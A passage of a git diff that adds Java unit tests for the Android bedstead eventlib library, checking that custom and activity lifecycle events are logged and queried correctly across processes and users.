+        mScheduledExecutorService.schedule(() -> {
+            logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
+        }, 1, TimeUnit.SECONDS);
+
+        assertThat(eventLogs.pollOrFail()).isNotNull();
+    }
+
+    @Test
+    public void otherProcessGetsKilled_stillReturnsLogs() {
+        logCustomEventOnTestApp(/* tag= */ null, /* data= */ null);
+
+        killTestApp();
+
+        assertThat(CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME).get()).isNotNull();
+    }
+
+    @Test
+    public void otherProcessGetsKilledMultipleTimes_stillReturnsOriginalLog() {
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
+        killTestApp();
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG2, /* data= */ null);
+        killTestApp();
+
+        assertThat(
+                CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME).get().tag()).isEqualTo(TEST_TAG1);
+    }
+
+    @Test
+    public void otherProcessGetsKilled_returnsLogsInCorrectOrder() {
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG2, /* data= */ null);
+        killTestApp();
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME);
+        assertThat(eventLogs.next().tag()).isEqualTo(TEST_TAG1);
+        assertThat(eventLogs.next().tag()).isEqualTo(TEST_TAG2);
+        assertThat(eventLogs.next()).isNull();
+    }
+
+    @Test
+    public void otherProcessGetsKilledMultipleTimes_returnsLogsInCorrectOrder() {
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
+        killTestApp();
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG2, /* data= */ null);
+        killTestApp();
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME);
+        assertThat(eventLogs.next().tag()).isEqualTo(TEST_TAG1);
+        assertThat(eventLogs.next().tag()).isEqualTo(TEST_TAG2);
+        assertThat(eventLogs.next()).isNull();
+    }
+
+    @Test
+    public void differentUser_queryWorks() {
+        logCustomEventOnTestApp(sProfile, /* tag= */ TEST_TAG1, /* data= */ null);
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .onUser(sProfile);
+
+        assertThat(eventLogs.get().tag()).isEqualTo(TEST_TAG1);
+    }
+
+    @Test
+    public void differentUserSpecifiedByUserHandle_queryWorks() {
+        logCustomEventOnTestApp(sProfile, /* tag= */ TEST_TAG1, /* data= */ null);
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .onUser(sProfile.userHandle());
+
+        assertThat(eventLogs.get().tag()).isEqualTo(TEST_TAG1);
+    }
+
+    @Test
+    public void differentUser_doesntGetEventsFromWrongUser() {
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
+        logCustomEventOnTestApp(sProfile, /* tag= */ TEST_TAG2, /* data= */ null);
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .onUser(sProfile);
+
+        assertThat(eventLogs.next().tag()).isEqualTo(TEST_TAG2);
+        assertThat(eventLogs.next()).isNull();
+    }
+
+    @Test
+    public void onUser_passesNullUser_throwsNullPointerException() {
+        assertThrows(NullPointerException.class,
+                () -> CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                        .onUser(/* userHandle= */(UserHandle) null));
+    }
+
+    @Test
+    public void onUser_passesNullUserReference_throwsNullPointerException() {
+        assertThrows(NullPointerException.class,
+                () -> CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                        .onUser(/* userHandle= */(UserReference) null));
+    }
+
+    @Test
+    public void incorrectUserHandle_fails() {
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .onUser(NON_EXISTING_USER_HANDLE);
+
+        assertThrows(AssertionError.class, eventLogs::get);
+    }
+
+    @Test
+    public void incorrectPackageName_fails() {
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(INCORRECT_PACKAGE_NAME);
+
+        assertThrows(AssertionError.class, eventLogs::get);
+    }
+
+    private void scheduleCustomEventInOneSecond() {
+        hasScheduledEvents = true;
+
+        mScheduledExecutorService.schedule(() -> {
+            CustomEvent.logger(sContext)
+                    .log();
+        }, 1, TimeUnit.SECONDS);
+    }
+
+    private void logCustomEventOnTestApp(UserReference user, String tag, String data) {
+        Intent intent = new Intent();
+        intent.setPackage(TEST_APP_PACKAGE_NAME);
+        intent.setClassName(TEST_APP_PACKAGE_NAME, TEST_APP_PACKAGE_NAME + ".EventLoggingActivity");
+        intent.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TASK);
+        intent.putExtra("TAG", tag);
+        intent.putExtra("DATA", data);
+
+        SystemUtil.runWithShellPermissionIdentity(() -> {
+            sContext.startActivityAsUser(intent, user.userHandle());
+        });
+
+        CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .whereTag().isEqualTo(tag)
+                .whereData().isEqualTo(data)
+                .onUser(user)
+                .pollOrFail();
+    }
+
+    private void logCustomEventOnTestApp(String tag, String data) {
+        logCustomEventOnTestApp(sTestApis.users().instrumented(), tag, data);
+    }
+
+    private void logCustomEventOnTestApp() {
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ DATA_1);
+    }
+
+    private void scheduleCustomEventInOneSecondOnTestApp() {
+        hasScheduledEventsOnTestApp = true;
+
+        mScheduledExecutorService.schedule(
+                (Runnable) this::logCustomEventOnTestApp, 1, TimeUnit.SECONDS);
+    }
+
+    private void killTestApp() {
+        SystemUtil.runWithShellPermissionIdentity(() -> {
+            sContext.getSystemService(ActivityManager.class)
+                    .forceStopPackage(TEST_APP_PACKAGE_NAME);
+        });
+    }
+
+    // TODO: Ensure tests work on O+
+}
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/CustomEventTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/CustomEventTest.java
new file mode 100644
index 0000000..778c62a
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/CustomEventTest.java
@@ -0,0 +1,102 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.Context;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.eventlib.EventLogs;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public final class CustomEventTest {
+
+    // TODO: We need a standard pattern for testing that events log correctly cross-process
+    // (when within the process serialization never happens)
+
+    private static final TestApis sTestApis = new TestApis();
+    private static final Context sContext = sTestApis.context().instrumentedContext();
+    private static final String TAG_1 = "TAG_1";
+    private static final String TAG_2 = "TAG_2";
+    private static final String DATA_1 = "DATA_1";
+    private static final String DATA_2 = "DATA_2";
+
+    @Before
+    public void setUp() {
+        EventLogs.resetLogs();
+    }
+
+    @Test
+    public void whereTag_works() {
+        CustomEvent.logger(sContext)
+                .setTag(TAG_1)
+                .log();
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(sContext.getPackageName())
+                .whereTag().isEqualTo(TAG_1);
+
+        assertThat(eventLogs.get().tag()).isEqualTo(TAG_1);
+    }
+
+    @Test
+    public void whereTag_skipsNonMatching() {
+        CustomEvent.logger(sContext)
+                .setTag(TAG_1)
+                .log();
+        CustomEvent.logger(sContext)
+                .setTag(TAG_2)
+                .log();
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(sContext.getPackageName())
+                .whereTag().isEqualTo(TAG_2);
+
+        assertThat(eventLogs.get().tag()).isEqualTo(TAG_2);
+    }
+
+    @Test
+    public void whereData_works() {
+        CustomEvent.logger(sContext)
+                .setData(DATA_1)
+                .log();
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(sContext.getPackageName())
+                .whereData().isEqualTo(DATA_1);
+
+        assertThat(eventLogs.get().data()).isEqualTo(DATA_1);
+    }
+
+    @Test
+    public void whereData_skipsNonMatching() {
+        CustomEvent.logger(sContext)
+                .setData(DATA_1)
+                .log();
+        CustomEvent.logger(sContext)
+                .setData(DATA_2)
+                .log();
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(sContext.getPackageName())
+                .whereData().isEqualTo(DATA_2);
+
+        assertThat(eventLogs.get().data()).isEqualTo(DATA_2);
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityCreatedEventTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityCreatedEventTest.java
new file mode 100644
index 0000000..42c48c9
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityCreatedEventTest.java
@@ -0,0 +1,191 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.activities;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.Context;
+import android.os.Bundle;
+import android.os.PersistableBundle;
+
+import com.android.activitycontext.ActivityContext;
+import com.android.bedstead.nene.TestApis;
+import com.android.eventlib.EventLogs;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public final class ActivityCreatedEventTest {
+
+    private static final TestApis sTestApis = new TestApis();
+    private static final Context sContext = sTestApis.context().instrumentedContext();
+    private static final String STRING_KEY = "Key";
+    private static final String STRING_VALUE = "Value";
+    private static final String DIFFERENT_STRING_VALUE = "Value2";
+
+    private final Bundle mSavedInstanceState = new Bundle();
+    private final PersistableBundle mPersistentState = new PersistableBundle();
+
+    private static final String DEFAULT_ACTIVITY_CLASS_NAME = ActivityContext.class.getName();
+    private static final String CUSTOM_ACTIVITY_CLASS_NAME = "customActivityName";
+    private static final String DIFFERENT_CUSTOM_ACTIVITY_CLASS_NAME = "customActivityName2";
+
+    @Before
+    public void setUp() {
+        EventLogs.resetLogs();
+    }
+
+    @Test
+    public void whereSavedInstanceState_works() throws Exception {
+        mSavedInstanceState.putString(STRING_KEY, STRING_VALUE);
+        ActivityContext.runWithContext((activity) ->
+                ActivityCreatedEvent.logger(activity, mSavedInstanceState)
+                        .log());
+
+        EventLogs<ActivityCreatedEvent> eventLogs =
+                ActivityCreatedEvent.queryPackage(sContext.getPackageName())
+                        .whereSavedInstanceState()
+                            .key(STRING_KEY).stringValue().isEqualTo(STRING_VALUE);
+
+        assertThat(eventLogs.get().savedInstanceState()).isEqualTo(mSavedInstanceState);
+    }
+
+    @Test
+    public void whereSavedInstanceState_skipsNonMatching() throws Exception {
+        Bundle differentInstanceState = new Bundle();
+        differentInstanceState.putString(STRING_KEY, DIFFERENT_STRING_VALUE);
+        mSavedInstanceState.putString(STRING_KEY, STRING_VALUE);
+
+        ActivityContext.runWithContext((activity) -> {
+            ActivityCreatedEvent.logger(activity, differentInstanceState)
+                    .log();
+            ActivityCreatedEvent.logger(activity, mSavedInstanceState)
+                    .log();
+        });
+
+        EventLogs<ActivityCreatedEvent> eventLogs =
+                ActivityCreatedEvent.queryPackage(sContext.getPackageName())
+                        .whereSavedInstanceState()
+                            .key(STRING_KEY).stringValue().isEqualTo(STRING_VALUE);
+
+        assertThat(eventLogs.get().savedInstanceState()).isEqualTo(mSavedInstanceState);
+    }
+
+    @Test
+    public void wherePersistentState_works() throws Exception {
+        mPersistentState.putString(STRING_KEY, STRING_VALUE);
+        ActivityContext.runWithContext((activity) ->
+                ActivityCreatedEvent.logger(activity, mSavedInstanceState)
+                        .setPersistentState(mPersistentState)
+                        .log());
+
+        EventLogs<ActivityCreatedEvent> eventLogs =
+                ActivityCreatedEvent.queryPackage(sContext.getPackageName())
+                        .wherePersistentState()
+                            .key(STRING_KEY).stringValue().isEqualTo(STRING_VALUE);
+
+        assertThat(eventLogs.get().persistentState()).isEqualTo(mPersistentState);
+    }
+
+    @Test
+    public void wherePersistentState_skipsNonMatching() throws Exception {
+        PersistableBundle differentPersistentState = new PersistableBundle();
+        differentPersistentState.putString(STRING_KEY, DIFFERENT_STRING_VALUE);
+        mPersistentState.putString(STRING_KEY, STRING_VALUE);
+        ActivityContext.runWithContext((activity) -> {
+            ActivityCreatedEvent.logger(activity, mSavedInstanceState)
+                    .setPersistentState(differentPersistentState)
+                    .log();
+            ActivityCreatedEvent.logger(activity, mSavedInstanceState)
+                    .setPersistentState(mPersistentState)
+                    .log();
+        });
+
+        EventLogs<ActivityCreatedEvent> eventLogs =
+                ActivityCreatedEvent.queryPackage(sContext.getPackageName())
+                        .wherePersistentState()
+                            .key(STRING_KEY).stringValue().isEqualTo(STRING_VALUE);
+
+        assertThat(eventLogs.get().persistentState()).isEqualTo(mPersistentState);
+    }
+
+    @Test
+    public void whereActivity_customValueOnLogger_works() throws Exception {
+        ActivityContext.runWithContext((activity) ->
+                ActivityCreatedEvent.logger(activity, mSavedInstanceState)
+                        .setActivity(CUSTOM_ACTIVITY_CLASS_NAME)
+                        .log());
+
+        EventLogs<ActivityCreatedEvent> eventLogs =
+                ActivityCreatedEvent.queryPackage(sContext.getPackageName())
+                .whereActivity().className().isEqualTo(CUSTOM_ACTIVITY_CLASS_NAME);
+
+        assertThat(eventLogs.get().activity().className()).isEqualTo(CUSTOM_ACTIVITY_CLASS_NAME);
+    }
+
+    @Test
+    public void whereActivity_customValueOnLogger_skipsNonMatching() throws Exception {
+        ActivityContext.runWithContext((activity) -> {
+            ActivityCreatedEvent.logger(activity, mSavedInstanceState)
+                    .setActivity(DIFFERENT_CUSTOM_ACTIVITY_CLASS_NAME)
+                    .log();
+            ActivityCreatedEvent.logger(activity, mSavedInstanceState)
+                    .setActivity(CUSTOM_ACTIVITY_CLASS_NAME)
+                    .log();
+        });
+
+        EventLogs<ActivityCreatedEvent> eventLogs =
+                ActivityCreatedEvent.queryPackage(sContext.getPackageName())
+                        .whereActivity().className().isEqualTo(CUSTOM_ACTIVITY_CLASS_NAME);
+
+        assertThat(eventLogs.get().activity().className()).isEqualTo(CUSTOM_ACTIVITY_CLASS_NAME);
+    }
+
+    @Test
+    public void whereActivity_defaultValue_works() throws Exception {
+        ActivityContext.runWithContext((activity) ->
+                ActivityCreatedEvent.logger(activity, mSavedInstanceState)
+                        .log());
+
+        EventLogs<ActivityCreatedEvent> eventLogs =
+                ActivityCreatedEvent.queryPackage(sContext.getPackageName())
+                        .whereActivity().className().isEqualTo(DEFAULT_ACTIVITY_CLASS_NAME);
+
+        assertThat(eventLogs.get().activity().className()).isEqualTo(DEFAULT_ACTIVITY_CLASS_NAME);
+    }
+
+    @Test
+    public void whereActivity_defaultValue_skipsNonMatching() throws Exception {
+        ActivityContext.runWithContext((activity) -> {
+            ActivityCreatedEvent.logger(activity, mSavedInstanceState)
+                    .setActivity(CUSTOM_ACTIVITY_CLASS_NAME)
+                    .log();
+            ActivityCreatedEvent.logger(activity, mSavedInstanceState)
+                    .log();
+        });
+
+        EventLogs<ActivityCreatedEvent> eventLogs =
+                ActivityCreatedEvent.queryPackage(sContext.getPackageName())
+                        .whereActivity().className().isEqualTo(DEFAULT_ACTIVITY_CLASS_NAME);
+
+        assertThat(eventLogs.get().activity().className()).isEqualTo(DEFAULT_ACTIVITY_CLASS_NAME);
+    }
+
+}
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityDestroyedEventTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityDestroyedEventTest.java
new file mode 100644
index 0000000..6f8ac05
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityDestroyedEventTest.java
@@ -0,0 +1,109 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.activities;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.Context;
+
+import com.android.activitycontext.ActivityContext;
+import com.android.bedstead.nene.TestApis;
+import com.android.eventlib.EventLogs;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public final class ActivityDestroyedEventTest {
+
+    private static final TestApis sTestApis = new TestApis();
+    private static final Context sContext = sTestApis.context().instrumentedContext();
+
+    private static final String DEFAULT_ACTIVITY_CLASS_NAME = ActivityContext.class.getName();
+    private static final String CUSTOM_ACTIVITY_CLASS_NAME = "customActivityName";
+    private static final String DIFFERENT_CUSTOM_ACTIVITY_CLASS_NAME = "customActivityName2";
+
+    @Before
+    public void setUp() {
+        EventLogs.resetLogs();
+    }
+
+    @Test
+    public void whereActivity_customValueOnLogger_works() throws Exception {
+        ActivityContext.runWithContext((activity) ->
+                ActivityDestroyedEvent.logger(activity)
+                        .setActivity(CUSTOM_ACTIVITY_CLASS_NAME)
+                        .log());
+
+        EventLogs<ActivityDestroyedEvent> eventLogs =
+                ActivityDestroyedEvent.queryPackage(sContext.getPackageName())
+                        .whereActivity().className().isEqualTo(CUSTOM_ACTIVITY_CLASS_NAME);
+
+        assertThat(eventLogs.get().activity().className()).isEqualTo(CUSTOM_ACTIVITY_CLASS_NAME);
+    }
+
+    @Test
+    public void whereActivity_customValueOnLogger_skipsNonMatching() throws Exception {
+        ActivityContext.runWithContext((activity) -> {
+            ActivityDestroyedEvent.logger(activity)
+                    .setActivity(DIFFERENT_CUSTOM_ACTIVITY_CLASS_NAME)
+                    .log();
+            ActivityDestroyedEvent.logger(activity)
+                    .setActivity(CUSTOM_ACTIVITY_CLASS_NAME)
+                    .log();
+        });
+
+        EventLogs<ActivityDestroyedEvent> eventLogs =
+                ActivityDestroyedEvent.queryPackage(sContext.getPackageName())
+                        .whereActivity().className().isEqualTo(CUSTOM_ACTIVITY_CLASS_NAME);
+
+        assertThat(eventLogs.get().activity().className()).isEqualTo(CUSTOM_ACTIVITY_CLASS_NAME);
+    }
+
+    @Test
+    public void whereActivity_defaultValue_works() throws Exception {
+        ActivityContext.runWithContext((activity) ->
+                ActivityDestroyedEvent.logger(activity)
+                        .log());
+
+        EventLogs<ActivityDestroyedEvent> eventLogs =
+                ActivityDestroyedEvent.queryPackage(sContext.getPackageName())
+                        .whereActivity().className().isEqualTo(DEFAULT_ACTIVITY_CLASS_NAME);
+
+        assertThat(eventLogs.get().activity().className()).isEqualTo(DEFAULT_ACTIVITY_CLASS_NAME);
+    }
+
+    @Test
+    public void whereActivity_defaultValue_skipsNonMatching() throws Exception {
+        ActivityContext.runWithContext((activity) -> {
+            ActivityDestroyedEvent.logger(activity)
+                    .setActivity(CUSTOM_ACTIVITY_CLASS_NAME)
+                    .log();
+            ActivityDestroyedEvent.logger(activity)
+                    .log();
+        });
+
+        EventLogs<ActivityDestroyedEvent> eventLogs =
+                ActivityDestroyedEvent.queryPackage(sContext.getPackageName())
+                        .whereActivity().className().isEqualTo(DEFAULT_ACTIVITY_CLASS_NAME);
+
+        assertThat(eventLogs.get().activity().className()).isEqualTo(DEFAULT_ACTIVITY_CLASS_NAME);
+    }
+
+}
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityPausedEventTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityPausedEventTest.java
new file mode 100644
index 0000000..1fc937a
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityPausedEventTest.java
@@ -0,0 +1,109 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.activities;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.Context;
+
+import com.android.activitycontext.ActivityContext;
+import com.android.bedstead.nene.TestApis;
+import com.android.eventlib.EventLogs;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public final class ActivityPausedEventTest {
+
+    private static final TestApis sTestApis = new TestApis();
+    private static final Context sContext = sTestApis.context().instrumentedContext();
+
+    private static final String DEFAULT_ACTIVITY_CLASS_NAME = ActivityContext.class.getName();
+    private static final String CUSTOM_ACTIVITY_CLASS_NAME = "customActivityName";
+    private static final String DIFFERENT_CUSTOM_ACTIVITY_CLASS_NAME = "customActivityName2";
+
+    @Before
+    public void setUp() {
+        EventLogs.resetLogs();
+    }
+
+    @Test
+    public void whereActivity_customValueOnLogger_works() throws Exception {
+        ActivityContext.runWithContext((activity) ->
+                ActivityPausedEvent.logger(activity)
+                        .setActivity(CUSTOM_ACTIVITY_CLASS_NAME)
+                        .log());
+
+        EventLogs<ActivityPausedEvent> eventLogs =
+                ActivityPausedEvent.queryPackage(sContext.getPackageName())
+                        .whereActivity().className().isEqualTo(CUSTOM_ACTIVITY_CLASS_NAME);
+
+        assertThat(eventLogs.get().activity().className()).isEqualTo(CUSTOM_ACTIVITY_CLASS_NAME);
+    }
+
+    @Test
+    public void whereActivity_customValueOnLogger_skipsNonMatching() throws Exception {
+        ActivityContext.runWithContext((activity) -> {
+            ActivityPausedEvent.logger(activity)
+                    .setActivity(DIFFERENT_CUSTOM_ACTIVITY_CLASS_NAME)
+                    .log();
+            ActivityPausedEvent.logger(activity)
+                    .setActivity(CUSTOM_ACTIVITY_CLASS_NAME)
+                    .log();
+        });
+
+        EventLogs<ActivityPausedEvent> eventLogs =
+                ActivityPausedEvent.queryPackage(sContext.getPackageName())
+                        .whereActivity().className().isEqualTo(CUSTOM_ACTIVITY_CLASS_NAME);
+
+        assertThat(eventLogs.get().activity().className()).isEqualTo(CUSTOM_ACTIVITY_CLASS_NAME);
+    }
+
+    @Test
+    public void whereActivity_defaultValue_works() throws Exception {
+        ActivityContext.runWithContext((activity) ->
+                ActivityPausedEvent.logger(activity)
+                        .log());
+
+        EventLogs<ActivityPausedEvent> eventLogs =
+                ActivityPausedEvent.queryPackage(sContext.getPackageName())
+                        .whereActivity().className().isEqualTo(DEFAULT_ACTIVITY_CLASS_NAME);
+
+        assertThat(eventLogs.get().activity().className()).isEqualTo(DEFAULT_ACTIVITY_CLASS_NAME);
+    }
+
+    @Test
+    public void whereActivity_defaultValue_skipsNonMatching() throws Exception {
+        ActivityContext.runWithContext((activity) -> {
+            ActivityPausedEvent.logger(activity)
+                    .setActivity(CUSTOM_ACTIVITY_CLASS_NAME)
+                    .log();
+            ActivityPausedEvent.logger(activity)
+                    .log();
+        });
+
+        EventLogs<ActivityPausedEvent> eventLogs =
+                ActivityPausedEvent.queryPackage(sContext.getPackageName())
+                        .whereActivity().className().isEqualTo(DEFAULT_ACTIVITY_CLASS_NAME);
+
+        assertThat(eventLogs.get().activity().className()).isEqualTo(DEFAULT_ACTIVITY_CLASS_NAME);
+    }
+
+}
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityRestartedEventTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityRestartedEventTest.java
new file mode 100644
index 0000000..afdaacf
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityRestartedEventTest.java
@@ -0,0 +1,109 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.activities;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.Context;
+
+import com.android.activitycontext.ActivityContext;
+import com.android.bedstead.nene.TestApis;
+import com.android.eventlib.EventLogs;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public final class ActivityRestartedEventTest {
+
+    private static final TestApis sTestApis = new TestApis();
+    private static final Context sContext = sTestApis.context().instrumentedContext();
+
+    private static final String DEFAULT_ACTIVITY_CLASS_NAME = ActivityContext.class.getName();
+    private static final String CUSTOM_ACTIVITY_CLASS_NAME = "customActivityName";
+    private static final String DIFFERENT_CUSTOM_ACTIVITY_CLASS_NAME = "customActivityName2";
+
+    @Before
+    public void setUp() {
+        EventLogs.resetLogs();
+    }
+
+    @Test
+    public void whereActivity_customValueOnLogger_works() throws Exception {
+        ActivityContext.runWithContext((activity) ->
+                ActivityRestartedEvent.logger(activity)
+                        .setActivity(CUSTOM_ACTIVITY_CLASS_NAME)
+                        .log());
+
+        EventLogs<ActivityRestartedEvent> eventLogs =
+                ActivityRestartedEvent.queryPackage(sContext.getPackageName())
+                        .whereActivity().className().isEqualTo(CUSTOM_ACTIVITY_CLASS_NAME);
+
+        assertThat(eventLogs.get().activity().className()).isEqualTo(CUSTOM_ACTIVITY_CLASS_NAME);
+    }
+
+    @Test
+    public void whereActivity_customValueOnLogger_skipsNonMatching() throws Exception {
+        ActivityContext.runWithContext((activity) -> {
+            ActivityRestartedEvent.logger(activity)
+                    .setActivity(DIFFERENT_CUSTOM_ACTIVITY_CLASS_NAME)
+                    .log();
+            ActivityRestartedEvent.logger(activity)
+                    .setActivity(CUSTOM_ACTIVITY_CLASS_NAME)
+                    .log();
+        });
+
+        EventLogs<ActivityRestartedEvent> eventLogs =
+                ActivityRestartedEvent.queryPackage(sContext.getPackageName())
+                        .whereActivity().className().isEqualTo(CUSTOM_ACTIVITY_CLASS_NAME);
+
+        assertThat(eventLogs.get().activity().className()).isEqualTo(CUSTOM_ACTIVITY_CLASS_NAME);
+    }
+
+    @Test
+    public void whereActivity_defaultValue_works() throws Exception {
+        ActivityContext.runWithContext((activity) ->
+                ActivityRestartedEvent.logger(activity)
+                        .log());
+
+        EventLogs<ActivityRestartedEvent> eventLogs =
+                ActivityRestartedEvent.queryPackage(sContext.getPackageName())
+                        .whereActivity().className().isEqualTo(DEFAULT_ACTIVITY_CLASS_NAME);
+
+        assertThat(eventLogs.get().activity().className()).isEqualTo(DEFAULT_ACTIVITY_CLASS_NAME);
+    }
+
+    @Test
+    public void whereActivity_defaultValue_skipsNonMatching() throws Exception {
+        ActivityContext.runWithContext((activity) -> {
+            ActivityRestartedEvent.logger(activity)
+                    .setActivity(CUSTOM_ACTIVITY_CLASS_NAME)
+                    .log();
+            ActivityRestartedEvent.logger(activity)
+                    .log();
+        });
+
+        EventLogs<ActivityRestartedEvent> eventLogs =
+                ActivityRestartedEvent.queryPackage(sContext.getPackageName())
+                        .whereActivity().className().isEqualTo(DEFAULT_ACTIVITY_CLASS_NAME);
+
+        assertThat(eventLogs.get().activity().className()).isEqualTo(DEFAULT_ACTIVITY_CLASS_NAME);
+    }
+
+}
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityResumedEventTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityResumedEventTest.java
new file mode 100644
index 0000000..e211e2c
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityResumedEventTest.java
@@ -0,0 +1,109 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
